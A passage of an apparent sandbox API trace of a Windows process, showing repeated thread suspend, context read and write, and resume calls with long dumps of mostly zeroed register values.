FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0092.757] ResumeThread (hThread=0x130) returned 0x1
[0092.757] CloseHandle (hObject=0x130) returned 1
[0092.757] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0092.791] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0092.825] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0092.902] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0093.077] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0093.077] SuspendThread (hThread=0x130) returned 0x0
[0093.077] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147a98, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1296aa0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0093.226] ResumeThread (hThread=0x130) returned 0x1
[0093.226] CloseHandle (hObject=0x130) returned 1
[0093.226] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0093.261] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0093.304] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0093.381] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0093.460] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0093.460] SuspendThread (hThread=0x130) returned 0x0
[0093.461] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147128, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1403ffc, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0093.531] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147120, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0093.632] ResumeThread (hThread=0x130) returned 0x1
[0093.632] CloseHandle (hObject=0x130) returned 1
[0093.633] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0093.667] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0093.703] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0093.779] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0093.854] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0093.855] SuspendThread (hThread=0x130) returned 0x0
[0093.855] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000146dd8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x140affd, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, 